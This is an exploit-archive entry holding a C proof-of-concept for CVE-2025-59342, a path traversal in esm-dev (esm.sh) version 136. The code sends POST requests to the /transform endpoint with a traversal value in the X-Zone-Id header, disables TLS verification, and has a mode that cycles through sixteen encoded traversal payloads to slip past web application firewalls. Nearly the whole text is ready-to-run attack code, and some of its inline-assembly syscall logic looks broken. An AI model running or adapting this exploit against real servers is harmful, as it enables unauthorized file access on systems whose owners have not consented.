esm-dev 136 Path Traversal

# Exploit Title: esm-dev 136 - Path Traversal # Date: 2025-07-11 # Exploit Author: Byte Reaper #Vendor Homepage: https://github.com/esm-dev/esm.sh # Software Link: https://github.com/esm-dev/esm.sh # CVE-2025-59342 - File : exploit.c - Date : 09/17/2025 - Target : esm-dev - Version: 136 - Target Endpoint : /transform - Target Header : X-Zone-Id - Vuln : - Run exploit : # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl # ./CVE-2025-59342 #include <curl/curl.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <unistd.h> #include <sys/utsname.h> #define FULL_URL 2500 #define P_Y 2000 #define POST_DATA 9000 int flagPort = 0; int port = 80; int selectPort = -1; int verbose = 0; int code = 1; int found = 1; int cF = 0; int s = 0; int bY = 0; int sP = 0; const char* cookies = NULL; const char* payload = NULL; void exit64bit() { int n = 0; __asm__ volatile ( "mov $0x4A, %%rax\n\t" "mov $0x1, %%rdi\n\t" "syscall\n\t" "test %%rax, %%rax\n\t" "jz .aD\n\t" "mov $0x0, %[var]\n\t" "jmp .finish\n\t" ".aD:\n\t" "mov $0x1, %[var]\n\t" ".finish:\n\t" : [var] "+r" (n) : : "rax", "rdi" ); if (n == 0) { printf("\e[0;31m[-] sys_fsync syscall Faild.\n"); fflush(stdout); } else if (n == 1) { printf("[+] sys_fsync syscall Success.\n"); } __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } struct Mem { char* buffer; size_t len; }; size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata) { size_t total = size * nmemb; struct Mem* m = (struct Mem*)userdata; char* tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char* buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } const char* payloads[] = { "..//..//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa//", "..../..../m.o.d.u.les/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..\\/..\\/modules\\/transform\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\/", ".//.//m?odu?le?s/tran.sfo.rm/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e", "%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216", "%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af", ".%00.//.%00.//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..;//..;//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af", NULL }; static void request(const char *baseurl) { CURL* curl = curl_easy_init(); const char *mes3 = "\e[0;34m[+] Create Object CURL Success.\n"; const char *mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n"; size_t len3 = strlen(mes3); size_t len4 = strlen(mes4); __asm__ volatile ( "cmp $0x0, %[curlO]\n\t" "je .donV\n\t" ".erD:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg], %%rsi\n\t" "mov %[len], %%rdx\n\t" "syscall\n\t" "jmp .finishC\n\t" ".donV:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" ".finishC:\n\t" : : [curlO] "r" (curl), [msg] "r" ((const char *)mes3), [len] "r" ((long)len3), [msg1] "r" ((const char*)mes4), [len1] "r" ((long)len4) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); struct Mem response; CURLcode res; response.buffer = NULL; response.len = 0; const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len5 = strlen(mes5); __asm__ volatile ( "test %[buffer], %[buffer]\n\t" "jz L_print_clean\n\t" "L_continue:\n\t" "jmp L_done\n\t" "L_print_clean:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "L_done:\n\t" : : [buffer] "r" ((const char*)response.buffer), [msg13] "r" (mes5), [len13] "r" (len5) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); char full[FULL_URL]; if (flagPort != 0) { const char* mes8 = "\e[0;31m[-] Select Port is NULL !\e[0m\n"; size_t len8 = strlen(mes8); __asm__ volatile ( "test %[var22], %[var22]\n\t" "jnz L_finish\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" "L_finish:\n\t" : : [var22] "r" (selectPort), [msg13] "r" (mes8), [len13] "r" (len8) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); printf("\e[0;34m[+] Port Select : %d\e[0m\n", selectPort); int len1 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl,selectPort); if (checkLen(len1, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } else if (flagPort == 0) { printf("\e[0;34m[+] Auto port : %d\e[0m\n", port); int len2 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl, port); if (checkLen(len2, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } printf("[+] Base URL : %s\n", baseurl); printf("[+] Result full url : %s\n", full); char post[POST_DATA]; int len9 = snprintf(post, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len9, post, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write Post data Success.\e[0m\n"); printf("\e[0;35m[+] Post data :===================================\e[0m\n"); printf("%s\n", post); printf("\e[0;32m[+] Size : %d\e[0m\n", POST_DATA); printf("\e[0;32m[+] Len : %zu\e[0m\n", strlen(post)); printf("\e[0;35m==================================================\e[0m\n"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist* headers = NULL; headers = curl_slist_append(headers, "User-Agent: Den/8.7.1"); headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Referer: http://localhost:9999/"); if (s!=0) { printf("[+] Your Payload : %s\n", payload); printf("\e[0;33m[+] Checking payload...\n"); if (strstr(payload, "../") || strstr(payload, "..\\")) { printf("\e[0;36m[+] Detected path traversal \"../\" in payload.\n"); } else { printf("\e[0;31m[-] No path traversal detected. Please provide a valid payload.\n"); exit64bit(); } if (strstr(payload, "/transform")) { printf("\e[0;36m[+] Detected endpoint '/transform' in payload.\n"); } else { printf("\e[0;31m[-] Endpoint '/transform' not detected in payload!\n"); exit64bit();; } } else { headers = curl_slist_append(headers, "X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/"); //auto payload printf("[+] Auto payload ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/.\n"); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); if (verbose) { curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { printf("\e[1;36m[+] Request sent successfully\e[0m\n"); long httpcode; double timeT; double timeR; char* urlD = NULL; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeT); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &urlD); printf("\e[0;32m[+] Delayed response : %f\e[0m\n", timeT); printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", timeR); if (urlD == NULL) { printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n"); } else { printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", urlD); } printf("\e[0;32m[+] HTTP CODE : %ld\n", httpcode); if (response.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer)); printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); } else { printf("\e[0;31m[-] Error show buffer : NULL response !\n"); __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0xE7, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } printf("===========================================================================================================\n"); if (httpcode >= 200 && httpcode < 300) { const char* words[] = { "Exploit!", "cve.js", "mjs", "console", "code", "map", "AAAA", "IAAI", "names", NULL }; printf("\e[0;32m[+] Http code (200 - 300)\e[0m\n"); printf("\e[0;33m[+] Check Word in response...\e[0m\n"); for (int u = 0; words[u] != NULL; u++) { code = 1; if (strstr(response.buffer, words[u]) != NULL) { printf("[+] Word found in response : %s\n", words[u]); __asm__ volatile ( "mov $0x0, %[var12]\n\t" : [var12] "=r" (found) : : ); break; } } if (found == 0) { printf("\e[0;36m[+] Words were found in the server's response, indicating that the exploitation was likely successful.\e[0m\n"); } const char *mes11 = "\e[0;31m[-] Not found words in response !\e[0m\n"; size_t len11 = strlen(mes11); __asm__ volatile ( "test %[var11], %[var11]\n" "jnz notZero\n\t" "jmp finish11\n\t" "notZero:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[size11], %%rsi\n\t" "mov %[len11], %%rdx\n\t" "syscall\n\t" "finish11:\n\t" : : [var11] "r" ((int)found), [size11] "r" ((const char *)mes11), [len11] "r" (len11) :"rax", "rdi", "rsi", "rdx", "r11", "rcx", "memory" ); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)\e[0m\n"); printf("\e[0;31m[-] Please check url and port.\e[0m\n"); } printf("\e[0;35m[+] Result Exploit :\e[0m\n"); if (code == 1 && found == 0) { printf("\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\e[0m\n"); } else if (code == 1 && found != 0) { printf("\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\e[0m\n"); } else if (code != 1 && found == 0) { printf("\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\e[0m\n"); } else { printf("\e[0;31m[-] Exploitation did not succeed.\e[0m\n"); } } else { printf("\e[0;31m[-] Error Send Request !\e[0m\n"); printf("\e[0;31m[-] Error : %s\n", curl_easy_strerror(res)); exit64bit(); } curl_easy_cleanup(curl); free(response.buffer); } void bypass(const char* urlB) { struct Mem responseBypass; responseBypass.buffer = NULL; responseBypass.len = 0; const char* mes14 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len14 = strlen(mes14); __asm__ volatile ( "test %[buffer1], %[buffer1]\n\t" "jz L_print_clean1\n\t" "L_continue1:\n\t" "jmp L_done1\n\t" "L_print_clean1:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg14], %%rsi\n\t" "mov %[len14], %%rdx\n\t" "syscall\n\t" "L_done1:\n\t" : : [buffer1] "r" ((const char*)responseBypass.buffer), [msg14] "r" (mes14), [len14] "r" (len14) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); CURL* curl = curl_easy_init(); if (curl == NULL) { fprintf(stderr,"[-] Error Create Object CURL !\n"); exit64bit(); } CURLcode res1; char postData[POST_DATA]; int len15 = snprintf(postData, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len15, postData, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } if (curl) { for (int i = 0; payloads[i] != NULL; i++) { struct curl_slist* h = NULL; char fullURL[FULL_URL]; snprintf(fullURL, FULL_URL, "%s/transform", urlB); char hLine[1024]; snprintf(hLine, 1024, "X-Zone-Id: %s", payloads[i]); h = curl_slist_append(h, hLine); h = curl_slist_append(h, "User-Agent: Den/8.7.1"); h = curl_slist_append(h, "Content-Type: application/json"); curl_easy_setopt(curl, CURLOPT_URL, fullURL); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseBypass); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); res1 = curl_easy_perform(curl); curl_slist_free_all(h); if (res1 == CURLE_OK) { long httpC; printf("---------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("[+] Payload Test : %s\n", payloads[i]); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpC); printf("[+] Http code : %ld\n", httpC); if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("\e[0;35m==========================================================================================================\e[0m\n"); if (httpC == 501 || strstr(responseBypass.buffer, "Unsupported method") != NULL) { printf("[-] Please check target URL, The server does not support the POST request.\n"); } else { __asm__ volatile("nop"); } } else { printf("[-] Response NULL !\n"); exit64bit(); } if (httpC >= 200 && httpC < 300) { if (code == 0) { printf("[+] Bypass Waf Success.\n"); } else { printf("[-] The server's response is still negative !\n"); } if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("%zu\n", responseBypass.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); free(responseBypass.buffer); responseBypass.buffer = NULL; responseBypass.len = 0; } else { printf("[-] Response NULL (Bypass WAF) !\n"); exit64bit(); } } else { printf("[-] Http code Not 200-300 !\n"); printf("[+] Waf detect OR check input base url / port.\n"); } } } } else { printf("[-] Error Send Request !\n"); } curl_easy_cleanup(curl); } int main(int argc, const char** argv) { printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;37m| Author : Byte Reaper |\e[0m\n"); printf("\e[1;37m| CVE : CVE-2025-59342 |\e[0m\n"); printf("\e[1;37m| Vuln : Path Traversal |\e[0m\n"); printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;30m------------------------------------------------------------------------\e[0m\n"); printf("[+] Check Your os...\n"); struct utsname os; __asm__ volatile ( "mov %0, %%rdi\n\t" "mov $0x3F, %%rax\n\t" "syscall\n\t" : : "r"(&os) : "rax", "rdi" ); printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname); printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine); if (strstr(os.sysname, "Linux") != NULL) { printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n"); } else { printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname); printf("[+] Please RUN exploit in linux.\n"); exit64bit(); } if (strstr(os.machine, "x86_64") != NULL) { printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n"); } else { printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine); exit64bit(); } const char* url = NULL; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Enter Target URL."), OPT_INTEGER('p', "port", &selectPort, "Enter Target PORT."), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode."), OPT_STRING('c', "cookies", &cookies, "Enter File cookies."), OPT_STRING('k', "payload", &payload, "Enter Payload."), OPT_BOOLEAN('b', "bypass", &sP, "Arg Bypass WAF."), OPT_END() }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[0;31m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[0;31m[!] Exemple : ./CVE-2025-59342 -u http://TARGET\e[0m\n"); __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (verbose) { __asm__ volatile ( "add $0x1, %[var6]\n\t" : [var6] "+r" (verbose) : : ); } else { __asm__ volatile ( "mov $0x0, %[var7]\n\t" : [var7] "=r" (verbose) : : ); } flagPort = (selectPort != -1); if (payload != NULL) { s = 1; } else { s = 0; } if (sP) { bypass(url); } else { request(url); } printf("\e[0;36m[+] Finish Script.\n"); __asm__ volatile ("mov $0x3C, %%rax\n\t" "mov $0x0, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); }